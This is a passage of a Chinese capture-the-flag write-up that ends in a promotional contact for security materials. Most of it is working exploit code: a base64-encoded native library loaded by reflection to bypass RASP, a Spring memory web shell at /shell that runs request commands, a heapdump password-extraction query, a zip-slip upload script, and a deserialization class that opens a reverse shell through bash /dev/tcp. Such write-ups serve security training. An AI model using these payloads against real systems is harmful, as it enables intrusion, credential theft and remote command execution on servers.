AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAARsDOygAAAAEAAAAHPD//0QAAACc8P//bAAAAGHx//+EAAAA+/H//6QAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAANDv//+AAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAAAo8P//CAAAAAAAAAAAAAAAHAAAAFwAAADV8P//mgAAAABBDhCGAkMNBgKVDAcIAAAcAAAAfAAAAE/x//9uAQAAAEEOEIYCQw0GA2kBDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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";
private static final String LIB_PATH = "/tmp/libcmd.so";
static {
try {
byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
randomAccessFile.write(jniBytes);
randomAccessFile.close();
//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector libs = (Vector) field.get(cmdLoader);
Constructor> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
EvilClass springControllerMemShell = new EvilClass();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
String execRes = EvilClass.execCmd(cmd);
response.getWriter().write(execRes);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
利用反序列化加载上面的恶意类打入内存马,加载JNI来绕过RASP执行命令
1.访问页面。
2.阅读源码,在pom.xml中发现存在actuator依赖,并且SpringSecurity没有对/actuator进行验证
在application.properties中,确认actuator暴露端点,同时题目给出的源码附件没有真实password
spring.security.user.name=admin
spring.security.user.password=This_is_fake_password
management.endpoints.web.exposure.include=health,info,env,heapdump
3.访问/actuator/env,得到以下信息
"java.home":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre"}
"spring.security.user.name":{"value":"admin","origin":"class path resource [application.properties] from app.jar - 8:27"}
"spring.security.user.password":{"value":"**","origin":"class path resource [application.properties] from app.jar - 9:31"}
内存中存在springsecurity的密码,但在env中做了脱敏处理,无法直接获取
访问/actuator/heapdump,下载heapdump后使用visualVM等工具进行分析,以visualVM为例,使用OQL语句查找spring.security.user.password
select s from java.util.LinkedHashMap$Entry s where /spring.security.user.password/.test(s.key)
在查询结果中,可以找到真正的密码
4.进入/admin/,文件上传接口存在zipslip任意文件上传漏洞,结合之前泄露的env中的javahome路径,可以想到构造恶意类后上传至jre/classes目录
在源码中发现/admin/下存在反序列化入口,所以可以构造一个readObject中含恶意代码的类
import java.io.*;
public class Evil implements Serializable {
private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
in.defaultReadObject();
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/x 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
p.waitFor();
if(p.exitValue()!=0){
}
String s = null;
while((s=reader.readLine())!=null){
System.out.println(s);
}
}
}
编译为class文件,通过脚本构造zip
import zipfile
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("./Evil.class", "../../../usr/lib/jvm/java-8-openjdk-amd64/jre/classes/Evil.class", zipfile.ZIP_DEFLATED)
zipFile.close()
上传成功后,本地构造base64,通过反序列化入口反弹shell
在根目录下读flag文件即可。
还没看够?可以关注
+V【zkaq222】或者下面的扫码不然通不过哦,免费领取安全学习资料包!(私聊进群一起学习,共同进步)腾讯文档-在线文档https://docs.qq.com/doc/DYmVETWlZemh0Ymdv